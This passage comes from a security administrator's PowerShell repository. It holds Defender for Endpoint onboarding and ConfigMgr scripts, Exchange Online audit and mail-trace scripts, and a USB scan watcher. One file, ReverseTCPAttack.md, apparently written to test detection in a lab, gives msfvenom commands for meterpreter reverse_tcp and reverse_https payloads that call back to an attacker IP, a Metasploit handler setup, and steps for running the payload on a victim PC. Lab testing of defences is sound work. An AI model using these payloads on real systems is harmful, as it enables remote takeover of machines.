19 | $onBoardingScript = [System.Text.Encoding]::UTF8.GetString($utf8ByteArray)
20 | $onBoardingScriptPath = $env:temp
21 | $onBoardingScriptFile = "MDATPOnboarding.cmd"
22 | $FullOnboardingScriptPath = "$onBoardingScriptPath\$onBoardingScriptFile"
23 | $onBoardingScript | Out-File $FullOnboardingScriptPath -encoding utf8
24 | Start-Process $FullOnboardingScriptPath -wait
25 | Remove-Item -Path $FullOnboardingScriptPath -Force
26 | }
27 | Catch{
28 | # Error running MDE script
29 | }
30 |
31 |
32 | Try{
33 | $registryValue = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status"
34 | if($registryValue.OnboardingState -eq 1){
35 | return $True
36 | }else{
37 | return $False
38 | }
39 | }Catch{
40 | $False
41 | }
42 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/Onboarding/Convert-MDEOnboardingBase64.ps1:
--------------------------------------------------------------------------------
1 | # Convert the Microsoft Defender for Endpoint onboarding script into a base64 string
2 |
3 | # The path to the MDE GPO onboarding script
4 | $onboardingscript = "C:\Data\mde\onboarding\WindowsDefenderATPOnboardingScript.cmd"
5 | $rawContent = Get-Content $onboardingscript -Raw -Encoding UTF8
6 | $utf8ByteArray = [System.Text.Encoding]::UTF8.GetBytes($rawContent)
7 | $base64OnBoardingString = [System.Convert]:: ToBase64String($utf8ByteArray)
8 | $base64OnBoardingString | out-file -FilePath "C:\Data\mde\mdeonboardbase64.txt" -encoding utf8
9 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/Onboarding/New-CMCIDefenderOnboarding_Discovery.ps1:
--------------------------------------------------------------------------------
1 | function New-CMCIDefenderOnboarding_Discovery
2 | {
3 | <#
4 | .Synopsis
5 | New-CMCIDefenderOnboarding_Discovery
6 |
7 | .DESCRIPTION
8 | New-CMCIDefenderOnboarding_Discovery creates a Configuration Item in ConfigMgr to check
9 | if the device is onboarded into Microsoft Defender for Endpoint
10 |
11 | if you want to create a CI that contains both discovery AND remediation use
12 | New-CMCIDefenderOnboarding_Remediation.ps1 instead
13 |
14 | .NOTES
15 | v1.0, 25.02.2021 alex verboon, initial version
16 |
17 | #>
18 |
19 | [CmdletBinding()]
20 | Param
21 | (
22 | # ConfigMgr Site Code
23 | [Parameter(Mandatory=$true,
24 | ValueFromPipelineByPropertyName=$true,
25 | Position=0)]
26 | $SiteCode="P01",
27 | # ConfigMgr Site Server
28 | [Parameter(Mandatory=$true,
29 | ValueFromPipelineByPropertyName=$true,
30 | Position=0)]
31 | $SiteServer="$ENV:COMPUTERNAME"
32 | )
33 |
34 | Begin
35 | {
36 |
37 | #Name and description of the Configuration Item
38 | $CI_name = 'CI_DefenderforEndpointOnboardingDiscovery'
39 | $CI_desc = 'Check if the device is onboarded into MDE'
40 |
41 | #Name of the CI setting and content of powershellscripts
42 | $Setting_name = 'Defender for Endpoint onboarding state'
43 | $Setting_Desc = 'Defender for Endpoint onboarding state'
44 | $discoverScript_path = "$PSScriptRoot\CI Scripts\CI_DefenderOnboarding_Discovery.ps1"
45 |
46 | #Name and description of the Compliance rule
47 | $rule_name = 'Defender for Endpoint onboarding state'
48 | $rule_Desc = 'Defender for Endpoint onboarding state'
49 |
50 | #################################################################################
51 | # NO code edits needed below, unless you need to add additional functionality
52 | #################################################################################
53 |
54 | # Check if ConfigMgr PowerShell Module is present and can be loaded
55 | Try{
56 | if (-not(Get-Module -name ConfigurationManager))
57 | {
58 | Write-Verbose "Importing Configuration Manager PowerShell module"
59 | Import-Module ($Env:SMS_ADMIN_UI_PATH.Substring(0,$Env:SMS_ADMIN_UI_PATH.Length-5) + '\ConfigurationManager.psd1')
60 | }
61 | }
62 | Catch{
63 | Write-Error "Unable to load ConfigMgr PowerShell Module"
64 | }
65 |
66 | # Change the PS Drive to the ConfigMgr Site
67 | Write-Verbose "ConfigMgr SiteCode: $SiteCode"
68 | Write-Verbose "ConfigMgr SiteServer: $SiteServer"
69 |
70 | Try{
71 | $configMgrDrive = "$SiteCode" + ":"
72 | cd $configMgrDrive
73 | Write-Verbose "Check if User sees the Configuration Item folder"
74 | Test-Path "ConfigurationItem" -PathType Container
75 | }
76 | Catch
77 | {
78 | Write-Error "There was an error connecting to the ConfigMgr Site $SiteCode"
79 | }
80 |
81 | Write-Verbose "Creating new Configuration Item:"
82 | Write-Verbose "Name: $CI_name"
83 | Write-Verbose "Description: $CI_desc"
84 | Write-Verbose "Setting name: $Setting_name"
85 | Write-Verbose "Setting Description: $Setting_Desc"
86 | Write-Verbose "PowerShell Script input: $discoverScript_path"
87 | Write-Verbose "Rule Name: $rule_name"
88 | Write-Verbose "Rule Description: $rule_Desc"
89 |
90 | }
91 | Process
92 | {
93 | Try{
94 | Write-Verbose "Creating new Configuration Item"
95 | $CIObject = New-CMConfigurationItem -Name $CI_name -CreationType WindowsOS -Description $CI_desc
96 |
97 | Write-Verbose "Adding Settings"
98 | $Setting = Add-CMComplianceSettingScript -InputObject $CIObject -settingName $Setting_name -Description $Setting_Desc -DataType Boolean -DiscoveryScriptLanguage PowerShell -DiscoveryScriptFile $discoverScript_path -noRule -Is64Bit
99 |
100 | Write-Verbose "Adding Rules"
101 | $setting2 = $CIObject | Get-CMComplianceSetting -SettingName $Setting_name
102 | $CIRule = $Setting2 | New-CMComplianceRuleValue -ExpressionOperator IsEquals -RuleName $rule_name -ExpectedValue 'True' -NoncomplianceSeverity Critical -RuleDescription $rule_desc -ReportNoncompliance
103 | $CIRuleAdded = Add-CMComplianceSettingRule -InputObject $CIObject -Rule $CIRule
104 | }
105 | Catch
106 | {
107 | Write-Error "There was an error creating the Configuration Item for $CI_name"
108 | }
109 | }
110 | End
111 | {
112 | Get-CMConfigurationItem -Name "$CI_name" -Fast | Sort-Object DateCreated | Select-Object * -Last 1
113 | }
114 | }
115 |
116 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/Onboarding/New-CMCIDefenderOnboarding_Remediation.ps1:
--------------------------------------------------------------------------------
1 | function New-CMCIDefenderOnboarding_Remediation
2 | {
3 | <#
4 | .Synopsis
5 | New-CMCIDefenderOnboarding_Remediation
6 |
7 | .DESCRIPTION
8 | New-CMCIDefenderOnboarding_Remediation creates a Configuration Item in ConfigMgr to remediate
9 | devices that are not onboarded into Microsoft Defender for Endpoint
10 |
11 | .NOTES
12 | v1.0, 25.02.2021, alex verboon, initial version
13 | #>
14 |
15 | [CmdletBinding()]
16 | Param
17 | (
18 | # ConfigMgr Site Code
19 | [Parameter(Mandatory=$true,
20 | ValueFromPipelineByPropertyName=$true,
21 | Position=0)]
22 | $SiteCode="P01",
23 | # ConfigMgr Site Server
24 | [Parameter(Mandatory=$true,
25 | ValueFromPipelineByPropertyName=$true,
26 | Position=0)]
27 | $SiteServer="$ENV:COMPUTERNAME"
28 | )
29 |
30 | Begin
31 | {
32 |
33 | #Name and description of the Configuration Item
34 | $CI_name = 'CI_DefenderforEndpointOnboardingRemediation'
35 | $CI_desc = "Remediation for MDE onboarding"
36 |
37 | #Name of the CI setting and content of powershellscripts
38 | $Setting_name = 'Defender for Endpoint onboarding state remediation'
39 | $Setting_Desc = 'Defender for Endpoint onboarding state remediation'
40 | $discoverScript_path = "$PSScriptRoot\CI Scripts\CI_DefenderOnboarding_Discovery.ps1"
41 | $remediationScript_path = "$PSScriptRoot\CI Scripts\CI_DefenderOnboarding_Remediation.ps1"
42 |
43 | #Name and description of the Compliance rule
44 | $rule_name = 'Defender for Endpoint onboarding state'
45 | $rule_Desc = 'Defender for Endpoint onboarding state'
46 |
47 |
48 | #################################################################################
49 | # NO code edits needed below, unless you need to add additional functionality
50 | #################################################################################
51 |
52 |
53 | # Check if ConfigMgr PowerShell Module is present and can be loaded
54 | Try{
55 | if (-not(Get-Module -name ConfigurationManager))
56 | {
57 | Write-Verbose "Importing Configuration Manager PowerShell module"
58 | Import-Module ($Env:SMS_ADMIN_UI_PATH.Substring(0,$Env:SMS_ADMIN_UI_PATH.Length-5) + '\ConfigurationManager.psd1')
59 | }
60 | }
61 | Catch{
62 | Write-Error "Unable to load ConfigMgr PowerShell Module"
63 | }
64 |
65 | # Change the PS Drive to the ConfigMgr Site
66 | Write-Verbose "ConfigMgr SiteCode: $SiteCode"
67 | Write-Verbose "ConfigMgr SiteServer: $SiteServer"
68 |
69 |
70 | Try{
71 | $configMgrDrive = "$SiteCode" + ":"
72 | cd $configMgrDrive
73 | Write-Verbose "Check if User sees the Configuration Item folder"
74 | Test-Path "ConfigurationItem" -PathType Container
75 | }
76 | Catch
77 | {
78 | Write-Error "There was an error connecting to the ConfigMgr Site $SiteCode"
79 | }
80 |
81 | Write-Verbose "Creating new Configuration Item:"
82 | Write-Verbose "Name: $CI_name"
83 | Write-Verbose "Description: $CI_desc"
84 | Write-Verbose "Setting name: $Setting_name"
85 | Write-Verbose "Setting Description: $Setting_Desc"
86 | Write-Verbose "PowerShell Script input: $discoverScript_path"
87 | Write-Verbose "PowerShell remediation script: $remediationScript_path"
88 | Write-Verbose "Rule Name: $rule_name"
89 | Write-Verbose "Rule Description: $rule_Desc"
90 |
91 | }
92 | Process
93 | {
94 | Try{
95 | Write-Verbose "Creating new Configuration Item"
96 | $CIObject = New-CMConfigurationItem -Name $CI_name -CreationType WindowsOS -Description $CI_desc
97 |
98 | Write-Verbose "Adding Settings"
99 | $Setting = Add-CMComplianceSettingScript -InputObject $CIObject -settingName $Setting_name -Description $Setting_Desc -DataType Boolean -DiscoveryScriptLanguage PowerShell -DiscoveryScriptFile $discoverScript_path -noRule -Is64Bit -RemediationScriptFile $remediationScript_path -RemediationScriptLanguage PowerShell
100 |
101 | Write-Verbose "Adding Rules"
102 | $setting2 = $CIObject | Get-CMComplianceSetting -SettingName $Setting_name
103 | $CIRule = $Setting2 | New-CMComplianceRuleValue -ExpressionOperator IsEquals -RuleName $rule_name -ExpectedValue 'True' -NoncomplianceSeverity Critical -RuleDescription $rule_desc -ReportNoncompliance -Remediate
104 | $CIRuleAdded = Add-CMComplianceSettingRule -InputObject $CIObject -Rule $CIRule
105 | }
106 | Catch
107 | {
108 | Write-Error "There was an error creating the Configuration Item for $CI_name"
109 | }
110 | }
111 | End
112 | {
113 | Get-CMConfigurationItem -Name "$CI_name" -Fast | Sort-Object DateCreated | Select-Object * -Last 1
114 | }
115 | }
116 |
117 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/Onboarding/readme.md:
--------------------------------------------------------------------------------
1 | # Defender for Endpoint - Onboarding Remediation
2 |
3 | For more details see: [How to remediate Defender for Endpoint onboarding with ConfigMgr](https://www.verboon.info/2021/02/how-to-remediate-defender-for-endpoint-onboarding-with-configmgr/)
4 |
5 | **Convert-MDEOnboardingBase64.ps1**
6 | This is the helper script to convert the onbaordingscript.cmd into a base64 string
7 |
8 | **New-CMCIDefenderOnboarding_Remediation.ps1**
9 | Use this script to create a CI for onboarding discovery and remediation, this script will create a CI in Microsoft Endpoint Configuration manager and embed the content of:
10 | CI Scripts\CI_DefenderOnboarding_Discovery.ps1 and CI_DefenderOnboarding_Remediation.ps1
11 |
12 | **New-CMCIDefenderOnboarding_Discovery.ps1**
13 | Use this script to create a CI for onboarding discovery only, this script will create a CI in Microsoft Endpoint Configuration manager and embed the content of:
14 | CI Scripts\CI_DefenderOnboarding_Discovery.ps1
15 |
16 | **CI Scripts\CI_DefenderOnboarding_Discovery.ps1**
17 | This script contains the code to gather the MDE onboarding state information
18 |
19 | **CI Scripts\CI_DefenderOnboarding_Remediation.ps1**
20 | This script executes the MDE onboarding script when the discovery result is false
21 |
22 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/OnboardingServers/Install-MMAAgent.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | Install-MMAAgent
4 | .DESCRIPTION
5 | Install-MMAAgent installs the prerequisites to onboard Windows Server 2008-R2/2012-R2 and 2016 into MDE
6 | To onbboard Windows Server 2019 use the onboarding script that can be downloaded from the MDE portal.
7 |
8 | https://docs.microsoft.com/en-us/azure/azure-monitor/agents/agent-windows
9 |
10 | .NOTES
11 | v1.0, 02.05.2021, alex verboon
12 | #>
13 | [CmdletBinding()]
14 | Param()
15 |
16 | Begin{
17 | $SourcePath = $PSScriptRoot
18 | Function Get-TimeStamp{
19 | Get-Date -Format "ddMMyyyy:HHmmss"
20 | }
21 | $DateTimeStamp = (Get-Date -Format "ddMMyyyy_HHmm")
22 | $InstallLogFile = "$SourcePath\MDEInstall_$DateTimeStamp.LOG"
23 | Write-Output "$(Get-TimeStamp) Starting MDE Enablement" | out-file $InstallLogFile -Append
24 |
25 | If (-not (Test-Path "$SourcePath\MMA" -PathType Container)){
26 | Write-Warning "$SourcePath\MMA Source Directory missing"
27 | }
28 | If (-not(Test-Path "$SourcePath\SCEP" -PathType Container)){
29 | Write-Warning "$ourcePath\SCEP Source Directory missing"
30 | }
31 |
32 |
33 | # -------------------------------------------------------------- #
34 | # SCEP Agent for Server 2008-R2 and 2012-R2 Parmaeters
35 | # -------------------------------------------------------------- #
36 | $SCEPAgentSetup = "$SourcePath\scep\SCEPInstall.exe"
37 | $SCEPAgentUpdate = "$SourcePath\scep\scepinstall_update_KB3209361.exe"
38 | $ScepParameters = "/s"
39 | $ScepUpdateParameters = "/s"
40 |
41 | # -------------------------------------------------------------- #
42 | # MMA Agent Parameters
43 | # -------------------------------------------------------------- #
44 | $MMAProxy = "https://proxy.contoso.com:30443"
45 | $SetMMAProxy = $false
46 | $MMAAgentSetup = "$SourcePath\MMA\SETUP.EXE"
47 | $OPSINSIGHTS_WS_ID = ""
48 | $OPSINSIGHTS_WS_KEY = ""
49 |
50 | }
51 |
52 | Process{
53 | Write-Output "$(Get-TimeStamp) Starting SCEP Installation" | out-file $InstallLogFile -Append
54 | $OSVersion = (get-itemproperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ProductName).ProductName
55 | Write-Output "$(Get-TimeStamp) OS Version [$OSVersion]" | out-file $InstallLogFile -Append
56 |
57 |
58 | If($OSVersion -like "*2012 R2*"){
59 | Write-Host "Running on Windows Server [$OSVersion]"
60 | Write-Host "Installing SCEP Agent" -ForegroundColor Green
61 | Start-Process -FilePath $SCEPAgentSetup -ArgumentList $ScepParameters -NoNewWindow
62 | $processNameToWaitForExit = 'SCEPInstall'
63 | do
64 | {
65 | Start-Sleep -Seconds 3
66 | } while (Get-Process -Name $processNameToWaitForExit -ErrorAction SilentlyContinue)
67 |
68 | Write-Host "Installing SCEP Agent update" -ForegroundColor Green
69 | Start-Process -FilePath $SCEPAgentUpdate -ArgumentList $ScepUpdateParameters -NoNewWindow
70 | do
71 | {
72 | Start-Sleep -Seconds 3
73 | } while (Get-Process -Name $processNameToWaitForExit* -ErrorAction SilentlyContinue)
74 | }
75 | Else
76 | {
77 | Write-Host "Running on Windows Server [$OSVersion] skipping SCEP Agent Installation."
78 | }
79 |
80 |
81 | # -------------------------------------------------------------- #
82 | # MMA Agent
83 | # -------------------------------------------------------------- #
84 | Write-Output "$(Get-TimeStamp) Starting MMA Installation" | out-file $InstallLogFile -Append
85 | If($OSVersion -like "*2012 R2*" -or $OSVersion -like "*2016*"){
86 | Write-Host "Installing MMA Agent" -ForegroundColor Green
87 |
88 | $parameters = '/Qn ADD_OPINSIGHTS_WORKSPACE=1 OPINSIGHTS_WORKSPACE_ID=' + $OPSINSIGHTS_WS_ID + ' OPINSIGHTS_WORKSPACE_KEY=' + $OPSINSIGHTS_WS_KEY + ' AcceptEndUserLicenseAgreement=1'
89 | Start-Process -FilePath $MMAAgentSetup -ArgumentList $parameters -wait -NoNewWindow
90 |
91 | If ($MMAProxy -eq $true){
92 | Write-Host "Set MMA Agent Proxy to $MMAProxy" -ForegroundColor Green
93 |
94 | Function Set-MMAProxy{
95 | param($ProxyDomainName)
96 | # First we get the Health Service configuration object. We need to determine if we
97 | #have the right update rollup with the API we need. If not, no need to run the rest of the script.
98 | $healthServiceSettings = New-Object -ComObject 'AgentConfigManager.MgmtSvcCfg'
99 | $proxyMethod = $healthServiceSettings | Get-Member -Name 'SetProxyInfo'
100 | if (!$proxyMethod)
101 | {
102 | Write-Output 'Health Service proxy API not present, will not update settings.'
103 | return
104 | }
105 | Write-Output "Clearing proxy settings."
106 | $healthServiceSettings.SetProxyInfo('', '', '')
107 |
108 | Write-Output "Setting proxy to $ProxyDomainName with proxy username $ProxyUserName."
109 | $healthServiceSettings.SetProxyInfo($ProxyDomainName,"","")
110 | }
111 | Set-MMAProxy -ProxyDomainName $MMAProxy
112 | }
113 | Else{
114 | Write-Host "No MMA Proxy specified" -ForegroundColor Green
115 | }
116 | }
117 | Else{
118 | Write-Host "Running on Windows Server [$OSVersion] skipping MMA Agent Installation."
119 | }
120 |
121 | Write-Output "$(Get-TimeStamp) MDE Enablement completed" | out-file $InstallLogFile -Append
122 | }
123 |
124 | End{}
125 |
126 |
127 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/ReverseTCPAttack.md:
--------------------------------------------------------------------------------
1 | # Reverse TCP Attack
2 |
3 | Follow the below instructions to conduct an attack on a victim PC using a Reverse TCP payload
4 |
5 | ## Create Windows Binary Payload
6 |
7 | The below instructions explain how to create a Windows Binary Payload that can be used to drop on a victim client.
8 |
9 | 1. On the Attacker Client where Metasploit is installed open a command prompt
10 | 2. Run IPConfig to obtain the IP address of the attacker client
11 | 3. Then Run the following command
12 |
13 | ```batch
14 | msfvenom.bat -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=172.18.48.21 LPORT=4444 -f exe -o C:\Payloads\Payload3.exe
15 | ```
16 | 4. The generated payload is stored in c:\Payloads\
17 |
18 |
19 | ## Create Windows PowerShell Payload
20 |
21 | The below instructions explain how to create a PowerShell Payload that can be used to drop on a victim client.
22 |
23 | 1. On the Attacker Client where Metasploit is installed open a command prompt
24 | 2. Run IPConfig to obtain the IP address of the attacker client
25 | 3. Then Run the following command
26 |
27 | ```batch
28 | msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.18.48.21 LPORT=444 EXITFUNC=thread -f ps1 -o c:\Payloads\Invoke-Shellcode.ps1
29 | ```
30 |
31 | 4. The generated payload is stored in c:\Payloads\
32 |
33 | ## Start Metasploit Handler
34 |
35 | Within the Metasploit Console enter the following commands:
36 |
37 | ```batch
38 | use exploit/multi/handler
39 | set PAYLOAD windows/meterpreter/reverse_tcp
40 | set LHOST 172.18.48.21
41 | set LPORT 4444
42 | set ExitOnSession false
43 | exploit -j -z
44 | ```
45 |
46 | To list the sessions type
47 | sessions -l
48 |
49 | to start interacting with the remote client type
50 | sessions -i 1
51 |
52 | ## Victim PC
53 |
54 | 1. Copy the payload executable from the attacker PC to the victim PC.
55 | 2. Launch the previously generated payload.exe as Administrator3.
56 |
57 | ## Post Activities
58 |
59 | to be defined
60 |
61 | ## Resources
62 |
63 | - [Creating Metasploit Payloads](https://netsec.ws/?p=331)
64 | - [Mimikatz](https://www.offensive-security.com/metasploit-unleashed/mimikatz/)
65 | - [How to Attack Windows 10 Machine with Metasploit](ttps://resources.infosecinstitute.com/how-to-attack-windows-10-machine-with-metasploit-on-kali-linux/#gref)
66 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/USB/scanusb.ps1:
--------------------------------------------------------------------------------
1 | function UsbMountWatcher {
2 | $alarm = New-Object System.Management.EventQuery
3 | $alarm.QueryString = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2"
4 | New-Object System.Management.ManagementEventWatcher $alarm
5 | }
6 | $pathtompcmdrun = $env:PROGRAMFILES + "\Windows Defender\MpCmdRun.exe"
7 | $watcher = UsbMountWatcher
8 | while ($true) {
9 | $event = $watcher.WaitForNextEvent()
10 | $driveletter = $event.Properties["DriveName"].Value.ToString() + "\"
11 | &$pathtompcmdrun "-Scan" "-File" $driveletter "-DisableRemediation"
12 | Write-Output $LASTEXITCODE
13 | }
14 | $watcher.Stop()
15 |
--------------------------------------------------------------------------------
/EXO/Delayed_mail_delivery_time.ps1:
--------------------------------------------------------------------------------
1 |
2 | #https://blog.kloud.com.au/2018/07/19/measure-o365-atp-safe-attachments-latency-using-powershell/
3 |
4 | $UserCredential = Get-Credential
5 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $UserCredential -Authentication Basic -AllowRedirection
6 | Import-PSSession $Session -DisableNameChecking
7 |
8 |
9 | $RecipientAddress = 'oadmin@verboon.org';
10 | $Messages = Get-MessageTrace -RecipientAddress $RecipientAddress -StartDate (Get-Date).AddHours(-1) -EndDate (get-date)
11 |
12 | <#
13 | $details1 = Get-MessageTraceDetail -MessageTraceId "ce879179-eb01-4dcc-4acd-08d628547df6" -RecipientAddress $RecipientAddress | Sort-Object Date
14 | $details2 = Get-MessageTraceDetail -MessageTraceId "1e37fc9e-f1ef-4149-9acc-08d628576371" -RecipientAddress $RecipientAddress | Sort-Object Date
15 | $details3 = Get-MessageTraceDetail -MessageTraceId "77d39a9b-96e7-44bc-bcb5-08d6285888c6" -RecipientAddress $RecipientAddress | Sort-Object Date
16 | $details4 = Get-MessageTraceDetail -MessageTraceId "d3f063b3-50cd-4a7e-f8d4-08d6285bef99" -RecipientAddress $RecipientAddress | Sort-Object Date
17 | #>
18 | ForEach ($msg in $Messages)
19 | {
20 | Get-MessageTraceDetail -MessageTraceId $($msg.MessageTraceId).Guid -RecipientAddress $RecipientAddress | Select-Object * | Sort-Object Date
21 | #Event,Action,Detail,date | Sort-Object Date
22 | Write-Host "---------------------------------------------" -ForegroundColor Yellow
23 | }
24 |
25 |
26 |
--------------------------------------------------------------------------------
/EXO/connect_exchange.ps1:
--------------------------------------------------------------------------------
1 |
2 | $UserCredential = Get-Credential
3 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $UserCredential -Authentication Basic -AllowRedirection
4 | Import-PSSession $Session -DisableNameChecking
5 |
--------------------------------------------------------------------------------
/EXO/connect_exchange_mfa.ps1:
--------------------------------------------------------------------------------
1 | # connect to EXO with MFA
2 | $CreateEXOPSSession = (Get-ChildItem -Path $env:userprofile -Filter CreateExoPSSession.ps1 -Recurse -ErrorAction SilentlyContinue -Force | Select -Last 1).DirectoryName
3 | . "$CreateEXOPSSession\CreateExoPSSession.ps1"
--------------------------------------------------------------------------------
/EXO/enable_global_audit_logging.ps1:
--------------------------------------------------------------------------------
1 |
2 | #This script will enable non-owner mailbox access auditing on every mailbox in your tenancy
3 | #First, let's get us a cred!
4 | $userCredential = Get-Credential
5 |
6 | #This gets us connected to an Exchange remote powershell service
7 | $ExoSession = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $userCredential -Authentication Basic -AllowRedirection
8 | Import-PSSession $ExoSession
9 |
10 | #Enable global audit logging
11 | Get-Mailbox -ResultSize Unlimited -Filter {RecipientTypeDetails -eq "UserMailbox" -or RecipientTypeDetails -eq "SharedMailbox" -or RecipientTypeDetails -eq "RoomMailbox" -or RecipientTypeDetails -eq "DiscoveryMailbox"} | Set-Mailbox -AuditEnabled $true -AuditLogAgeLimit 180 -AuditAdmin Update, MoveToDeletedItems, SoftDelete, HardDelete, SendAs, SendOnBehalf, Create, UpdateFolderPermission -AuditDelegate Update, SoftDelete, HardDelete, SendAs, Create, UpdateFolderPermissions, MoveToDeletedItems, SendOnBehalf -AuditOwner UpdateFolderPermission, MailboxLogin, Create, SoftDelete, HardDelete, Update, MoveToDeletedItems
12 |
13 | #Double-Check It!
14 | Get-Mailbox -ResultSize Unlimited | Select Name, AuditEnabled, AuditLogAgeLimit | Out-Gridview
--------------------------------------------------------------------------------
/EXO/mbx_fwd_rules.ps1:
--------------------------------------------------------------------------------
1 | #Import the right module to talk with AAD
2 | import-module MSOnline
3 |
4 | #Let's get us an admin cred!
5 | $userCredential = Get-Credential
6 |
7 | #This connects to Azure Active Directory
8 | Connect-MsolService -Credential $userCredential
9 |
10 | $ExoSession = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $userCredential -Authentication Basic -AllowRedirection
11 | Import-PSSession $ExoSession
12 |
13 | $allUsers = @()
14 | $AllUsers = Get-MsolUser -All -EnabledFilter EnabledOnly | select ObjectID, UserPrincipalName, FirstName, LastName, StrongAuthenticationRequirements, StsRefreshTokensValidFrom, StrongPasswordRequired, LastPasswordChangeTimestamp | Where-Object {($_.UserPrincipalName -notlike "*#EXT#*")}
15 |
16 | $UserInboxRules = @()
17 | $UserDelegates = @()
18 |
19 | foreach ($User in $allUsers)
20 | {
21 | Write-Host "Checking inbox rules and delegates for user: " $User.UserPrincipalName;
22 | $UserInboxRules += Get-InboxRule -Mailbox $User.UserPrincipalname | Select Name, Description, Enabled, Priority, ForwardTo, ForwardAsAttachmentTo, RedirectTo, DeleteMessage | Where-Object {($_.ForwardTo -ne $null) -or ($_.ForwardAsAttachmentTo -ne $null) -or ($_.RedirectsTo -ne $null)}
23 | $UserDelegates += Get-MailboxPermission -Identity $User.UserPrincipalName | Where-Object {($_.IsInherited -ne "True") -and ($_.User -notlike "*SELF*")}
24 | }
25 |
26 | $SMTPForwarding = Get-Mailbox -ResultSize Unlimited | select DisplayName,ForwardingAddress,ForwardingSMTPAddress,DeliverToMailboxandForward | where {$_.ForwardingSMTPAddress -ne $null}
27 |
28 | $UserInboxRules | Export-Csv MailForwardingRulesToExternalDomains.csv
29 | $UserDelegates | Export-Csv MailboxDelegatePermissions.csv
30 | $SMTPForwarding | Export-Csv Mailboxsmtpforwarding.csv
--------------------------------------------------------------------------------
/EXO/traceit2.ps1:
--------------------------------------------------------------------------------
1 |
2 | $startDate = (Get-Date -Hour 0 -Minute 0 -Second 0).AddDays(-1)
3 | $EndDate = (Get-Date -Hour 23 -Minute 59 -Second 59).AddDays(-1)
4 | $Receipientemail = "*@basevision.ch"
5 |
6 | #$allmsg = Get-MessageTrace -RecipientAddress $Receipientemail -StartDate $startDate -EndDate $EndDate | Select-Object * | Where-Object {$_.status -ne "Delivered"}
7 |
8 | $allmsg = Get-MessageTrace -RecipientAddress $Receipientemail -StartDate $startDate -EndDate $EndDate | Select-Object * # | Where-Object {$_.status -ne "Delivered"}
9 | $inforesult = @()
10 | ForEach ($msg in $allmsg)
11 | {
12 | #Write-Host $msg.Subject -ForegroundColor Green
13 | $detail = (Get-MessageTraceDetail -MessageTraceId $msg.MessageTraceId -RecipientAddress $msg.RecipientAddress) # -StartDate $startDate -EndDate $EndDate)
14 | $inforesult = $inforesult + $detail
15 | }
16 |
17 | $inforesult | Select Messageid, Date,Event, Detail, Data
18 |
19 |
20 | ##############################
21 |
22 | $startDate = (Get-Date).AddDays(-15)
23 | $EndDate = (Get-Date)
24 |
25 | $atptraffice = Get-MailTrafficATPReport -StartDate $startDate -EndDate $EndDate | Select-Object *
26 |
27 | #Get-MailTrafficReport -StartDate $startDate -EndDate $EndDate | Select-Object *
28 |
29 | Get-MailDetailATPReport -StartDate $startDate -EndDate $EndDate | Select-Object *
30 | $tls = $inforesult | Select-Object Detail,data | Where-Object {$_.detail -like "Message received by:*"}
31 |
32 | $b = [xml]$tls
--------------------------------------------------------------------------------
/EndpointConfigurationManager/ExportAntimalwareExclusions/doit.ps1:
--------------------------------------------------------------------------------
1 |
2 | $ExportPath = "C:\temp\defender"
3 | Export-CMDefenderPolicy -Path $ExportPath -Verbose
4 | $CMAntimalwareFiles = Get-ChildItem -Path $ExportPath -Filter "*.xml"
5 |
6 | $AllExclusions = @()
7 | $AllExclusions = ForEach($File in $CMAntimalwareFiles)
8 | {
9 | Export-CMExclusions -CMPolicyFile $File.FullName
10 | }
11 |
12 | $AllExclusions | Select-Object ExclusionType,Value, Policy,File | Export-Csv -Path $ExportPath\allexclusions.csv -NoClobber -NoTypeInformation -Force
13 |
--------------------------------------------------------------------------------
/EndpointConfigurationManager/ExportAntimalwareExclusions/export-CMExclusions.ps1:
--------------------------------------------------------------------------------
1 | function Export-CMExclusions
2 | {
3 | <#
4 | .Synopsis
5 | Export-CMExclusions
6 | .DESCRIPTION
7 | Export-CMExclusions extracts defender exclusoins from exported defender antimalware policy file
8 | .EXAMPLE
9 | Export-CMExclusions -CMPolicyFile C:\temp\defenderexclusion\DefenderforMikronClientsEPLAN.xml
10 | .NOTES
11 | v1.0, 20.05.2022, Alex Verboon
12 | #>
13 | [CmdletBinding()]
14 | [Alias()]
15 | [OutputType([int])]
16 | Param
17 | (
18 | # CM Policy File
19 | [Parameter(Mandatory=$true)]
20 | $CMPolicyFile
21 | )
22 |
23 | Begin
24 | {
25 | }
26 | Process
27 | {
28 |
29 | $PathData = [System.Collections.Generic.List[Object]]::new()
30 | $ExtensionData = [System.Collections.Generic.List[Object]]::new()
31 | $ProcessData = [System.Collections.Generic.List[Object]]::new()
32 |
33 | [xml]$CMPolicyDefinition = Get-Content -Path $CMPolicyFile
34 | $CMPolicy = [System.IO.Path]::GetFileNameWithoutExtension("$CMPolicyFile")
35 |
36 |
37 | $ExclusionPaths = $CMPolicyDefinition.SecurityPolicy.PolicySection.LocalGroupPolicySettings.AddKey | Select-Object Name, Disabled, AddValue | Where-Object { $_.Name -like "SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Paths" } | Select-Object -ExpandProperty AddValue
38 | If ($null -eq $ExclusionPaths) {
39 | $ExclusionPaths = @()
40 | }
41 |
42 | $ExclusionExtensions = $CMPolicyDefinition.SecurityPolicy.PolicySection.LocalGroupPolicySettings.AddKey | Select-Object Name, Disabled, AddValue | Where-Object { $_.Name -like "SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Extensions" } | Select-Object -ExpandProperty AddValue
